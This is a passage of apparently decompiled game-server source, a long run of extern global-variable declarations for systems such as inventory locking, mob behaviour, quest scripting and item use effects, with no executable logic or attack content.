byte_C8F2030; // weak extern char dword_C8F2031[]; // idb extern int dword_C8F2035; // weak extern int dword_C8F2039; // weak extern char byte_C8F203D; // weak extern char dword_C8F203E[]; // idb extern int dword_C8F2042; // weak extern int dword_C8F2046; // weak extern char byte_C8F204A; // weak extern char dword_C8F204B[]; // idb extern int dword_C8F204F; // weak extern int dword_C8F2053; // weak extern char byte_C8F2057; // weak extern char dword_C8F2058[]; // idb extern int dword_C8F205C; // weak extern int dword_C8F2060; // weak extern char byte_C8F2064; // weak extern char dword_C8F2065[]; // idb extern int dword_C8F2069; // weak extern int dword_C8F206D; // weak extern char byte_C8F2071; // weak extern char dword_C8F2072[]; // idb extern int dword_C8F2076; // weak extern int dword_C8F207A; // weak extern char byte_C8F207E; // weak extern char dword_C8F207F[]; // idb extern int dword_C8F2083; // weak extern int dword_C8F2087; // weak extern char byte_C8F208B; // weak extern char dword_C8F208C[]; // idb extern int dword_C8F2090; // weak extern int dword_C8F2094; // weak extern GuildTouramentLoginDataInfo guildtournamentinfo; // idb extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern int ITableBase::ms_pkTable; // weak extern std::map,std::allocator > > GuildTournamentSystem::sm_mapGuildMemberGrades; // idb extern PowedNumber powed; extern unsigned int _S10_8; extern LevelHandicap4ExperienceDouble lh4ed; // idb extern HolyPromiseCenTransferManager hpctmanager; extern MemoryQueue queue_cenuse; // idb extern ItemLotAnalyser::LotAnalyser itemlotanalyser; extern InventoryLocking::InvenCellReleaser_QuestReward InventoryLocking::InventoryCellLockList::icll_Releaser_QuestReward; // idb extern InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageReloc InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageReloc; // idb extern InventoryLocking::InvenCellReleaser_LinkInfo InventoryLocking::InventoryCellLockList::icll_Releaser_LinkInfo; // idb extern InventoryLocking::InvenCellReleaser_GuildStorageClear InventoryLocking::InventoryCellLockList::icll_Releaser_GuildStorageClear; // idb extern InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageInfoZoneRng InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageInfoZoneRng; // idb extern InventoryLocking::InvenCellReleaser_CellClear InventoryLocking::InventoryCellLockList::icll_Releaser_CellClear; // idb extern InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageWithdrawClear InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageWithdrawClear; // idb extern InventoryLocking::InvenCellReleaser_EquipLocation InventoryLocking::InventoryCellLockList::icll_Releaser_EquipLocation; // idb extern InventoryLocking::InvenCellReleaser_FurnitureCellClear InventoryLocking::InventoryCellLockList::icll_Releaser_FurnitureCellClear; // idb extern InventoryLocking::InvenCellReleaser_FurnitureReloc InventoryLocking::InventoryCellLockList::icll_Releaser_FurnitureReloc; // idb extern InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageWithdrawClear InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageRelocClear; // idb extern InventoryLocking::InvenCellReleaser_CellChangeSmall InventoryLocking::InventoryCellLockList::icll_Releaser_CellChangeSmall; // idb extern InventoryLocking::InvenCellReleaser_GuildStorageChange InventoryLocking::InventoryCellLockList::icll_Releaser_GuildStorageChange; // idb extern InventoryLocking::InvenCellReleaser_CenChange InventoryLocking::InventoryCellLockList::icll_Releaser_CenChange; // idb extern InventoryLocking::InvenCellReleaser_ItemUse InventoryLocking::InventoryCellLockList::icll_Releaser_ItemUse; // idb extern InventoryLocking::InvenCellReleaser_FameChange InventoryLocking::InventoryCellLockList::icll_Releaser_FameChange; // idb extern InventoryLocking::InvenCellReleaser_GuildAcademyRewardStorageReloc InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageChange; // idb extern InventoryLocking::InvenCellReleaser_CellChange InventoryLocking::InventoryCellLockList::icll_Releaser_CellChange; // idb extern InventoryLocking::InvenCellReleaser_PointStone InventoryLocking::InventoryCellLockList::icll_Releaser_PointStone; // idb extern ORToken dash; extern unsigned int _S14_7; extern ItemDropFromMob::DropIndexCluster dropindexcluster; // idb extern ItemDropFromMob::DropGroupCluster dropgroupcluster; // idb extern ItemGroupClassifier itemgroupclassifier; // idb extern CharModeClassifier cmc_43; extern unsigned int _S7_0; extern CharModeClassifier cmc_44; extern unsigned int _S9_34; extern ItemMall itemmall; // idb extern ItemRandomOption::RandomOptionTable itemrandomoptiontable; // idb extern ItemsInChest itemsinchest; // idb extern CharModeClassifier cmc_45; extern unsigned int _S21_9; extern Name3 nousemap; extern unsigned int _S12_22; extern KingdomQuestGate kqgate; // idb extern char KingSlime[16]; // idb extern KingdomQuest::KingdomQuestContainer kqcontainer; // idb extern KingdomQuestEntrance kqentrance; // idb extern DebugLogging KQEntryCheckLog; // idb extern std::vector > g_KQContributeList; // idb extern KQRewardDataBox kqreward; // idb extern char sublayerview[]; // weak extern char byte_CAC5905[]; // weak extern char byte_CAC5906[]; // weak extern char byte_CAC5907[]; // weak extern char byte_CAC5908[]; // weak extern char byte_CAC5909[]; // weak extern SubLayer::SubLayerInteractLoader sublayerinteract; // idb extern char sublayerattack[]; // weak extern char byte_CAC592D[]; // weak extern char byte_CAC592E[]; // weak extern char byte_CAC592F[]; // weak extern char byte_CAC5930[]; // weak extern char byte_CAC5931[]; // weak extern ItemConversionMap itemconvmap; // idb extern OptionReader magiccontainer; // idb extern ItemUseFunction itemusefunction; // idb extern MapBlock::MapBlockInformationBox blockinfobox; // idb extern CFindWay findway; // idb extern CharModeClassifier cmc_46; extern unsigned int _S10_9; extern MapClusterManager::ClusterManager mapclustermanager; // idb extern TownPortalData townportaldata; // idb extern MiniHouseEndureDataBox minihouseenduredatabox; // idb extern MiniHouseObjAniDataBox minihouseobjanidatabox; // idb extern __int16 MiscDataTable::mdt_DefSkill; // weak extern __int16 word_CBB243A; // weak extern __int16 word_CBB244C; // weak extern char byte_CBB244E; // weak extern char byte_CBB244F; // weak extern int dword_CBB2450; // weak extern int dword_CBB2454; // weak extern int dword_CBB2458; // weak extern int dword_CBB245C; // weak extern int dword_CBB2460; // weak extern int dword_CBB2464; // weak extern int dword_CBB2468; // weak extern int dword_CBB246C; // weak extern int dword_CBB2470; // weak extern int dword_CBB2474; // weak extern int dword_CBB2478; // weak extern int dword_CBB247C; // weak extern int dword_CBB2480; // weak extern int dword_CBB2484; // weak extern __int16 word_CBB2488; // weak extern int dword_CBB248C; // weak extern char byte_CBB2490; // weak extern int dword_CBB2494; // weak extern int dword_CBB24A0; // weak extern __int16 word_CBB24A4; // weak extern __int16 MiscDataTable::mdt_DefAbState; // weak extern char byte_CBB24AE; // weak extern int dword_CBB24B0; // weak extern int dword_CBB24B4; // weak extern __int16 MiscDataTable::mdt_DefVarifAbstate; // weak extern int dword_CBB24BC; // weak extern __int16 word_CBB24C0; // weak extern int dword_CBB24C4; // weak extern __int16 word_CBB24C8; // weak extern MobExplosionElement::MobExplosionAlways mobexplosealways; // idb extern MobExplosionElement::MobExplosionEnemy mobexploseenemy; // idb extern MobExplosionElement::MobExplosionTarget mobexplosetarget; // idb extern MiscDataTable miscdatatable; // idb extern MobAttackSequence mobattseq; // idb extern MobTargetEraser mobtargeteraser; // idb extern MobChat::MobChatManager mobchatman; // idb extern MobHatchery *mobhatchery; // idb extern #434 *invaster; extern MobBreederStoreArgument mbsa; extern KQRegenTable kqregentable; // idb extern DebugLogging NPCDeadLog; // idb extern FamilyMobManagement::FamilyMobManager g_FamilyMobManager; // idb extern MobActionElement ShineObjectClass::ShineMob::defaction; // idb extern DebugLogging MobHatcheryLog; extern unsigned int mobregnum; extern MobRoaming::MobRoamingSet roamingpaths; // idb extern std::vector > mobinroam; // idb extern StaticVector pathbuffer; extern unsigned int _S28_2; extern MobTacticElement::MobActionNoBrain MobTacticElement::MobActionArgument::Actor::nobrain; // idb extern MobTacticElement::MobAction2Region MobTacticElement::MobActionArgument::Actor::toregion; // idb extern MobTacticElement::MobActionTargetting MobTacticElement::MobActionArgument::Actor::targetting; // idb extern Navigator::MapNavigator navi; extern MobTacticElement::MobActionRoaming MobTacticElement::MobActionArgument::Actor::roaming; // idb extern MobTacticElement::DuringReturn2Regen MobTacticElement::MobActionArgument::Actor::return2regen; // idb extern std::vector > Navigator::MapNavigator::nm_UnitPointList; // idb extern _DWORD *dword_CC2FF7C; // idb extern std::vector >::iterator Where; // idb extern _UNKNOWN unk_CC2FF84; // weak extern MultiHitData::MultiHitTable _MultiHitTable; // idb extern ORToken guild; extern ORToken weapontitle; extern ORToken item; extern ORToken skill; extern ORToken weapon; extern ORToken soulstone; extern unsigned int _S12_23; extern CharModeClassifier cmc_47; extern unsigned int _S4_5; extern CharModeClassifier cmc_48; extern unsigned int _S6_63; extern CharModeClassifier cmc_49; extern unsigned int _S8_14; extern CharModeClassifier cmc_50; extern unsigned int _S10_10; extern NPCItemList::NPCItemListTable npcitemlist; // idb extern MerchantCityData merchantcity; // idb extern NPCRoleBase npcrolebase; // idb extern NPCManager npcmanager; // idb extern unsigned int unk_CC33630; // idb extern OptionReader stru_CC33634; // idb extern List optoollist; // idb extern ZoneListenSession optoolsock; // idb extern DebugLogging ExceptionLog; // idb extern DebugLogging TooLongPacket; // idb extern ProtocolPacket gpp; // idb extern char buffer[8192]; extern Parameter::Cluster parameter_eraser_rate; // idb extern Parameter::Cluster parameter_eraser_plus; // idb extern ShineCommonParameter shineparam; // idb extern PartyManufacture partymanufacture; // idb extern CParty partycontainer; // idb extern CharModeClassifier cmc_51; extern unsigned int _S3_44; extern unsigned int pathfindflag; extern JunctionPointContainer junctionpointlist; // idb extern LinearStep linestep; extern PathFindTable pathfindtable; extern CellStack cellstack; extern PerformanceChecker performancechech; // idb extern PineScriptToken deftkn; extern unsigned int _S90_1; extern int std::fpos::_Stz; // weak extern int std::_Facetptr>::_Psave; // weak extern int std::_Facetptr>>>::_Psave; // weak extern int std::_Facetptr>::_Psave; // weak extern unsigned int std::num_put>>::id; // idb extern PineEventScriptNode::SysFuncShineGetLoseGuild sysfuncshinegetloseGuild; // idb extern PineEventScriptNode::SysFuncShinePlayerInArea sysfuncshineplayerinarea; // idb extern PineEventScriptNode::SysFuncShineDeadNumber sysfuncshinedeadnum; // idb extern PineEventScriptNode::SysFuncShineGetObjectList sysfuncshinegetobjectlist; // idb extern PineScriptTracer::ScriptTracer scrpttrcr; // idb extern PineEventScriptNode::SysFuncShineKQTop sysfuncshinekqtoplist; // idb extern PineEventScriptNode::SysFuncRand sysfuncrand; // idb extern PineEventScriptNode::SysFuncShineDistance sysfuncshinedistance; // idb extern PineEventScriptNode::SysFuncShineCircularScatter sysfuncshinecircularlocate; // idb extern PineEventScriptNode::SysFuncShineGetWinnerGuild sysfuncshinegetwinnerguild; // idb extern PineEventScriptNode::SysFuncShineRemoveFisrt sysfuncshineremovefisrt; // idb extern MobTacticElement::MobActionArgument trc_eol; // idb extern PineEventScriptNode::SysFuncShineMobRegen sysfuncshinemobregen; // idb extern PineEventScriptNode::SysFuncShineChange2Door sysfuncshinechange2door; // idb extern PineEventScriptNode::SysFuncShineNPCStand sysfuncshinenpcstand; // idb extern PineEventScriptNode::SysFuncShineRestSecond sysfuncshinerestsec; // idb extern PineEventScriptNode::SysFuncShineCharClass sysfuncshinecharclass; // idb extern PineEventScriptNode::SysFuncSQRT sysfuncsqrt; // idb extern PineEventScriptNode::SysFuncShineRange sysfuncshinerange; // idb extern PineEventScriptNode::SysFuncShineChange2Mob sysfuncshinechange2mob; // idb extern PineEventScriptNode::SysFuncShineCount sysfuncshinecount; // idb extern PineEventScriptNode::SysFuncShineDoorBuild sysfuncshinedoorbuild; // idb extern PineEventScriptNode::SysFuncShineIsGateUse sysfuncshineisgateuse; // idb extern PineEventScriptNode::StatementList ps_statementlist; // idb extern PineEventScriptNode::SysFuncShineChange2NPC sysfuncshinechange2npc; // idb extern PineEventScriptNode::SysFuncShineKQResultList sysfuncshinekqresultlist; // idb extern PineEventScriptNode::SysFuncDistance sysfuncdistance; // idb extern PineEventScriptNode::SysFuncShineCharName sysfuncshinecharname; // idb extern unsigned int std::numpunct::id; // idb extern ScriptMobBreeder mobbreeder; extern DebugLogging KQRankingLog; // idb extern _iobuf *unk_124A4EB8; // idb extern _UNKNOWN unk_124A503C; // weak extern PineScriptMobRegenerator scriptmobregen; // idb extern PineScriptToken index_GuildTournamentStart; extern PineScriptToken index_sec; extern PineScriptToken index_kq; extern PineScriptToken index_me; extern PineScriptToken index_timeout; extern PineScriptToken index_npcclickany; extern PineScriptToken index_hit; extern PineScriptToken index_anywhere; extern PineScriptToken index_CostumeHeadAcc; extern PineEventScriptNode::AutoRegList GTMobRegenKeyAutoReg; extern PineEventScriptNode::AutoRegList GTRegisterNPCAutoReg; extern PineEventScriptNode::AutoRegList HasAbstateAutoReg; extern PineScriptToken index_hpfull; extern PineScriptToken index_admin; extern PineEventScriptNode::AutoRegList BroadcastCodeAutoReg; extern PineScriptToken index_dicegameend; extern PineScriptToken index_recover; extern PineScriptToken index_mobindex; extern PineScriptToken index_mobeliminate; extern PineScriptToken index_pk; extern PineEventScriptNode::AutoRegList ScinarioCodePartyAutoReg; extern PineEventScriptNode::AutoRegList ClearSaveLinktoAutoReg; extern PineScriptToken index_areaentry; extern PineScriptToken index_guildliminate; extern PineScriptToken index_playerdead; extern PineScriptToken index_CostumeBodyAcc; extern PineScriptToken index_hour; extern PineScriptToken index_Result; extern DebugLogging DeadHandleLog; // idb extern PineScriptToken index_split; extern PineScriptToken index_deadhandle; extern PineScriptToken index_logout; extern PineScriptToken index_on; extern PineScriptToken index_all; extern PineScriptToken index_targetchange; extern PineScriptToken index_ply; extern PineScriptToken index_allwithout; extern PineEventScriptNode::AutoRegList RegisterGTPortalAutoReg; extern PineScriptToken index_hplow; extern PineEventScriptNode::AutoRegList SaveLinktoAutoReg; extern PineScriptToken index_off; extern PineScriptToken index_handle; extern PineScriptToken index_millisec; extern ScriptBriefMaker scriptbriefmaker; // idb extern PineScriptToken index_minute; extern PineScriptToken index_suc; extern PineScriptToken index_arealeave; extern PineScriptToken index_playereliminate; extern PineScriptToken index_fail; extern PineScriptToken index_pickupitemindex; extern PineScriptToken index_deadindex; extern PineScriptToken index_npcclickindex; extern PineScriptToken index_npcclickhandle; extern DebugLogging ScinarioCodeLog; // idb extern PineEventScriptNode::AutoRegList NPCChatNoFacecutAutoReg; extern PineScriptToken index_observer; extern PineScriptToken index_killenemy; extern PineScriptToken index_beggar; extern PineScriptToken index_hpupper; extern PineScriptToken index_noaggro; extern PineScriptToken index_guild; extern OptionReader recallpoint; // idb extern CharModeClassifier cmc_52; extern unsigned int _S3_45; extern RuleOfEngagementHealAttack roe_alwaysHealAttack; // idb extern RulesOfEngagement roe_normalPY; // idb extern RulesOfEngagementAlwaysHit roe_cure; // idb extern RulesOfEngagementAlwaysCritical roe_alwaysCritical; // idb extern RulesOfEngagementPhisycalSkill roe_physical; // idb extern EngSklAtt engsklatt; // idb extern RulesOfEngagementNormalMA roe_normalMA; // idb extern RulesOfEngagementAlwaysHit roe_always; // idb extern RulesOfEngagementMagicalSkill roe_magical; // idb extern ScenarioBookShelf scenarioshelf; // idb extern CharModeClassifier cmc_53; extern unsigned int _S66_2; extern CharModeClassifier cmc_54; extern unsigned int _S68_1; extern ScriptInterrupt::ScriptInteruptWinGuild _Instance; extern int __S70__1__GetInstance___ScriptInterruptUnit_VScriptInteruptWinGuild_ScriptInterrupt___ScriptInterrupt__SAPAVScriptInteruptWinGuild_3_XZ_4IA; // weak extern ScriptInterrupt::ScriptInterruptRegisterManager _ins; extern int __S1__1__GetInstance_ScriptInterruptRegisterManager_ScriptInterrupt__SAAAV23_XZ_4IA; // weak extern ScriptInterrupt::ScriptInterruptAdder ScriptInterrupt::testInter; // idb extern ScriptInterrupt::ScriptInterruptBase si_PlayerEliminate; // idb extern ScriptInterrupt::ScriptInterruptBase si_MobEliminate; // idb extern ScriptInterrupt::ScriptInterruptBase si_AreaEntry; // idb extern ScriptInterrupt::ScriptInterruptBase si_Admin; // idb extern ScriptInterrupt::ScriptInterruptBase si_NPCClickAny; // idb extern ScriptInterrupt::ScriptInterruptBase si_NPCClickHandle; // idb extern ScriptInterrupt::ScriptInterruptBase si_AreaLeave; // idb extern ScriptInterrupt::ScriptInterruptBase si_PickUpItemIndex; // idb extern ScriptInterrupt::ScriptInterruptBase si_HPUpper; // idb extern ScriptInterrupt::ScriptInterruptBase si_Interval; // idb extern ScriptInterrupt::ScriptInterruptBase si_HPLow; // idb extern ScriptInterrupt::ScriptInterruptBase si_GuildEliminate; // idb extern ScriptInterrupt::ScriptInterruptBase si_KillEnemy; // idb extern ScriptInterrupt::ScriptInterruptBase si_HPFull; // idb extern ScriptInterrupt::ScriptInterruptBase si_TargetChange; // idb extern ScriptInterrupt::ScriptInterruptBase si_ObjectDeadIndex; // idb extern ScriptInterrupt::ScriptInterruptBase si_TimeOut; // idb extern ScriptInterrupt::ScriptInterruptBase si_NPCClickIndex; // idb extern ScriptInterrupt::ScriptInterruptBase si_PlayerDead; // idb extern ScriptInterrupt::ScriptInterruptBase si_ObjectDeadHandle; // idb extern CharModeClassifier cmc_55; extern unsigned int _S10_11; extern _UNKNOWN ServerMenuActor::sma_Functer; // weak extern SetItemData::SetItemEffectList setitemeffectlist; // idb extern SetItemData::SetItemClassifier setitemclassifier; // idb extern SetItemData::SkillEffect setitemskilleffect; // idb extern MemoryQueue setitemskilleffectqueue; // idb extern unsigned __int8 costumweapondecreaser; // weak extern CharModeClassifier cmc_56; extern unsigned int _S4_6; extern CharModeClassifier cmc_57; extern unsigned int _S6_64; extern CharModeClassifier cmc_58; extern unsigned int _S4_7; extern CharModeClassifier cmc_59; extern unsigned int _S4_8; extern CharModeClassifier cmc_60; extern unsigned int _S4_9; extern CharModeClassifier cmc_61; extern unsigned int _S4_10; extern CharModeClassifier cmc_62; extern unsigned int _S6_65; extern CharModeClassifier cmc_63; extern unsigned int _S4_11; extern CharModeClassifier cmc_64; extern unsigned int _S9_35; extern CharModeClassifier cmc_65; extern unsigned int _S11_7; extern CharModeClassifier cmc_66; extern unsigned int _S15_13; extern CharModeClassifier cmc_67; extern unsigned int _S7_1; extern CharModeClassifier cmc_68; extern unsigned int _S13_1; extern ItemRelocationManager itemrelormanager; extern CharModeClassifier cmc_69; extern unsigned int _S4_12; extern CharModeClassifier cmc_70; extern unsigned int _S4_13; extern DebugLogging ItemMSLog; // idb extern CharModeClassifier cmc_71; extern unsigned int _S4_14; extern int ITableBase::ms_pkTable; // weak extern CharModeClassifier cmc_72; extern unsigned int _S4_15; extern CharModeClassifier cmc_73; extern unsigned int _S4_16; extern CharModeClassifier cmc_74; extern unsigned int _S6_66; extern CharModeClassifier cmc_75; extern unsigned int _S11_8; extern MemoryQueue queue_roar; // idb extern char delete_item_buffer[129]; extern ProtocolPacket delete_item_packet; extern unsigned int _S4_17; extern _UNKNOWN BriefInformationMob::bim_DefStateBit; // weak extern struct ItemTotalInformation ShineObjectClass::ShineObject::so_CostumWeaponChargeing; // weak extern int dword_124D245C; // weak extern int dword_124D2462; // weak extern _UNKNOWN ShineObjectClass::ShineMiniHouse::smh_StaticRollBackPos; // weak extern char Dest[12]; // idb extern char byte_124D24E8; // weak extern char byte_124D24FD[12]; // idb extern char byte_124D2509; // weak extern int dword_124D251E; // weak extern int dword_124D2522; // weak extern ListCheckStruct ShineObjectClass::ShineObject::so_SlantedListChecker; // idb extern struct STOPEMOTICON_DESCRIPT ShineObjectClass::ShineObject::so_defstopmotion; // weak extern char byte_124D2542; // weak extern struct ChargedEffectContainer ShineObjectClass::ShineObject::so_ChargedEffectContainerClear; // weak extern __int16 word_124D2546; // weak extern __int16 word_124D2548; // weak extern char byte_124D254A; // weak extern char byte_124D254E; // weak extern char byte_124D254F; // weak extern char byte_124D2550; // weak extern char byte_124D2551; // weak extern __int16 word_124D2552; // weak extern __int16 word_124D2554; // weak extern __int16 word_124D2556; // weak extern __int16 word_124D2558; // weak extern __int16 word_124D255A; // weak extern char byte_124D255C; // weak extern char byte_124D255D; // weak extern __int16 word_124D255E; // weak extern __int16 word_124D2560; // weak extern __int16 word_124D2562; // weak extern __int16 word_124D2564; // weak extern __int16 word_124D2566; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_emptyabstate; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_deftradestr; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_deflastupgradeinfo; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_TempLocation; // weak extern _UNKNOWN unk_124D25D0; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_DefBattleStat; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_defextdata; // weak extern _UNKNOWN ShineObjectClass::ShineMiniHouse::smh_StaticEnterPos; // weak extern char byte_124D2624[12]; // idb extern char byte_124D2630; // weak extern char byte_124D2645[12]; // idb extern char byte_124D2651; // weak extern int dword_124D2666; // weak extern int dword_124D266A; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_StatDistStr; // weak extern _UNKNOWN ShineObjectClass::ShineMobileObject::AS::tempbit; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_MiscTableDef; // weak extern _UNKNOWN ShineObjectClass::ShineObject::so_defabstatebit; // weak extern int loop; extern NameString namestring; // idb extern ShineRTTI ShineObjectClass::ShineMagicField::m_RTTI; // idb extern ShineRTTI ShineObjectClass::ShineDoor::m_RTTI; // idb extern ClientSessionNull ShineObjectClass::ShinePlayer::sp_defaultsocket; // idb extern CharacterInventory ShineObjectClass::ShineObject::so_defiteminven; // idb extern InventoryLocking::InventoryCellLock ShineObjectClass::ShineObject::so_definvlocklist; // idb extern _UNKNOWN ShineObjectClass::ShineObject::so_defabstatelist; // weak extern SpyNet::EspionageAgent ShineObjectClass::ShineObject::so_spy; // idb extern ShineRTTI ShineObjectClass::ShineMob::m_RTTI; // idb extern _UNKNOWN ShineObjectClass::ShineObject::so_defname; // weak extern DebugLogging CoordRepairLog; // idb extern StreetBooth ShineObjectClass::ShinePlayer::BoothSell::board; // idb extern ORField ShineObjectClass::ShineMobileObject::TA::tmp; // idb extern ShineRTTI ShineObjectClass::ShineMiniHouse::m_RTTI; // idb extern CCharacterTitleZone ShineObjectClass::ShineObject::so_DefCharTitle; // idb extern ShineRTTI ShineObjectClass::ShineServant::m_RTTI; // idb extern ShineRTTI ShineObjectClass::ShineObject::m_RTTI; // idb extern ShineRTTI ShineObjectClass::ShineNPC::m_RTTI; // idb extern AllOfRangeArgument allofrangearg; // idb extern DiceTaiSai ShineObjectClass::ShineObject::so_defaultparam; // idb extern DebugLogging InvalidProtocolLog; // idb extern _iobuf *unk_124E2F98; // idb extern _UNKNOWN unk_124E311C; // weak extern ShineObjectManager shineobjmanager; // idb extern _DWORD dword_124E32C4[2]; // idb extern List *dword_124E32CC; // idb extern _UNKNOWN unk_124E32D4; // weak extern MemoryQueue queue_linkreserv; // idb extern DebugLogging EldLocateLog; // idb extern _UNKNOWN ShineObjectClass::ShineObject::so_defitemoperate; // weak extern PROTO_NC_CHAR_WEDDINGDATA_ACK ShineObjectClass::ShineObject::so_WeddingData; // idb extern DiceTaiSai ShineObjectClass::ShineObject::so_PacketEncrypt; // idb extern DebugLogging BroadCastLog; // idb extern _iobuf *unk_124E7E28; // idb extern char unk_124E7EAC[]; // idb extern _UNKNOWN unk_124E7FAC; // weak extern AllOfRangeArgument ShineObjectClass::ShineObject::so_deftradebrd; // idb extern ItemLotInspector ShineObjectClass::ShineObject::so_ItemLotInspector; // idb extern ShineRTTI ShineObjectClass::ShineBandit::m_RTTI; // idb extern unsigned int _S51_4; extern char errorbuffer[64]; extern ProtocolPacket errorpacket; extern unsigned int _S82; extern int seed; extern CharModeClassifier cmc_76; extern unsigned int _S89_1; extern DebugLogging InvalidRegistLog; extern unsigned int _S96_1; extern Name3 elderine; extern unsigned int _S104_0; extern CharModeClassifier cmc_77; extern unsigned int _S87_1; extern CharModeClassifier cmc_78; extern unsigned int _S91; extern CharModeClassifier cmc_79; extern unsigned int _S5_31; extern ShineRTTI ShineObjectClass::ShineMobileObject::m_RTTI; // idb extern CharModeClassifier cmc_80; extern unsigned int _S8_15; extern ShineRTTI ShineObjectClass::ShinePlayer::m_RTTI; // idb extern DebugLogging ReinforceMoveLog; // idb extern CharModeClassifier cmc_81; extern unsigned int _S7_2; extern CharModeClassifier cmc_82; extern unsigned int _S11_9; extern CharModeClassifier cmc_83; extern unsigned int _S13_2; extern CharModeClassifier cmc_84; extern unsigned int _S15_14; extern CharModeClassifier cmc_85; extern unsigned int _S17_2; extern char portal_effect_cmd_buffer[256]; extern ProtocolPacket portal_effect_cmd_packet; extern unsigned int _S19_1; extern char furniture_effect_cmd_buffer[256]; extern ProtocolPacket furniture_effect_cmd_packet; extern unsigned int _S21_10; extern CharModeClassifier cmc_86; extern unsigned int _S9_36; extern MemoryQueue queue_MH_InnerInfo; // idb extern CharModeClassifier cmc_87; extern unsigned int _S4_18; extern CharModeClassifier cmc_88; extern unsigned int _S6_67; extern CharModeClassifier cmc_89; extern unsigned int _S8_16; extern CharModeClassifier cmc_90; extern unsigned int _S10_12; extern CharModeClassifier cmc_91; extern unsigned int _S12_24; extern ShineRadian shineradian; // idb extern int SkillResultBuffer::bufferpoint; // weak extern SkillResultBuffer skillresultbuffer; // idb extern AxialListNearScanSkillFriend alnsf; // idb extern AxialListNearScanSkillParty alnsp; // idb extern FanFormSectorArgument ffsa; // idb extern AxialListNearScan alnse; // idb extern int dword_124F19B0; // weak extern MemoryQueue queue_skillerase; // idb extern CharModeClassifier cmc_92; extern unsigned int _S10_13; extern CharModeClassifier cmc_93; extern unsigned int _S18_16; extern CharModeClassifier cmc_94; extern unsigned int _S35_2; extern CharModeClassifier cmc_95; extern unsigned int _S16_5; extern CharModeClassifier cmc_96; extern unsigned int _S12_25; extern CharModeClassifier cmc_97; extern unsigned int _S14_8; extern unsigned __int16 skillbtreeunion; // idb extern BTree skillnametree; // idb extern SkillDataBox skilldatabox; // idb extern SkillDataBox passivedatabox; // idb extern _UNKNOWN unk_124F2484; // weak extern _UNKNOWN unk_124F248C; // weak extern unsigned __int16 word_124F2490; // idb extern CharModeClassifier cmc_98; extern unsigned int _S8_17; extern CharModeClassifier unk_124F249C; extern unsigned int _S4_19; extern CharModeClassifier unk_124F24A4; extern unsigned int _S6_68; extern CharModeClassifier unk_124F24AC; extern unsigned int _S10_14; extern CharModeClassifier unk_124F24B4; extern unsigned int _S12_26; extern SpamerPenaltyDataBox SpamerPenaltyData; // idb extern CharModeClassifier unk_124F2548; extern unsigned int _S4_20; extern CharModeClassifier unk_124F2550; extern unsigned int _S9_37; extern MemoryQueue queue_sparrowfly; // idb extern CharModeClassifier stru_124F2B60; extern unsigned int _S4_21; extern CharModeClassifier stru_124F2B68; extern unsigned int _S6_69; extern StringMaker::Maker maker; // idb extern CharModeClassifier stru_124F2F7C; extern unsigned int _S6_70; extern CharModeClassifier stru_124F2F84; extern unsigned int _S8_18; extern CharModeClassifier stru_124F2F8C; extern unsigned int _S10_15; extern CharModeClassifier stru_124F2F94; extern unsigned int _S12_27; extern CharModeClassifier stru_124F2F9C; extern unsigned int _S20_5; extern CharModeClassifier stru_124F2FA4; extern unsigned int _S4_22; extern SubAbstatePriority::PriorityBase subabpriority; // idb extern CharModeClassifier stru_124F2FB0; extern unsigned int _S4_23; extern CharModeClassifier stru_124F2FB8; extern unsigned int _S6_71; extern CharModeClassifier stru_124F2FC0; extern unsigned int _S8_19; extern CharModeClassifier stru_124F2FC8; extern unsigned int _S10_16; extern CharModeClassifier stru_124F2FD0; extern unsigned int _S12_28; extern CharModeClassifier stru_124F2FD8; extern unsigned int _S4_24; extern CharModeClassifier stru_124F2FE0; extern unsigned int _S6_72; extern CharModeClassifier stru_124F2FE8; extern unsigned int _S8_20; extern CharModeClassifier stru_124F2FF0; extern unsigned int _S3_46; extern CharModeClassifier stru_124F2FF8; extern unsigned int _S3_47; extern UpgradeDataBox upgradedatabox; // idb extern UseEffect::UseItemRecallScroll ui_recallscroll; // idb extern UseEffect::UseItemBase ui_chargedbuff; // idb extern UseEffect::UseItemNoEffect ui_NoEffect; // idb extern UseEffect::UseItemItemPackage ui_itempackage; // idb extern UseEffect::UseItemNormal ui_GuildReType; // idb extern UseEffect::UseItemByTable ui_bytable; // idb extern UseEffect::UseItemNormal ui_SkillErase; // idb extern UseEffect::UseItemNormal ui_GuildReName; // idb extern UseEffect::UseItemMemoryFeather ui_MemoryFeather; // idb extern UseEffect::UseItemStatClear ui_StatClearEmpow; // idb extern UseEffect::UseItemStatClear ui_StatClearStat; // idb extern UseEffect::UseItemBase ui_chestopen; // idb extern UseEffect::UseItemActionItem ui_actionitem; // idb extern UseEffect::UseItemNormal ui_Roar; // idb extern UseEffect::UseItemNormal ui_JustRevive; // idb extern UseEffect::UseItemImmediateDivorce ui_ImmediateDivorce; // idb extern UseEffect::UsedItemEffect useditemeffect; // idb extern UseEffect::UseItemFurnitureEndureKit ui_FurnitureEndureKit; // idb extern UseEffect::UseItemNormal ui_SparrowWingStone; // idb extern UseEffect::UseItemBase ui_silverwing; // idb extern UseEffect::UseItemLicenseClear ui_LicenceClear; // idb extern UseEffect::UseItemBase ui_mysterybolt; // idb extern UseEffect::UseItemPropose ui_Propose; // idb extern UseEffect::UseItemSkillScroll ui_skillscroll; // idb extern UseEffect::UseItemAmountHP ui_amounthp; // idb extern UseEffect::UseItemBase ui_ride; // idb extern UseEffect::UseItemBase ui_minihousefurniture; // idb extern UseEffect::UseItemAmountSP ui_amountsp; // idb extern UseEffect::UseItemBase ui_minihouse; // 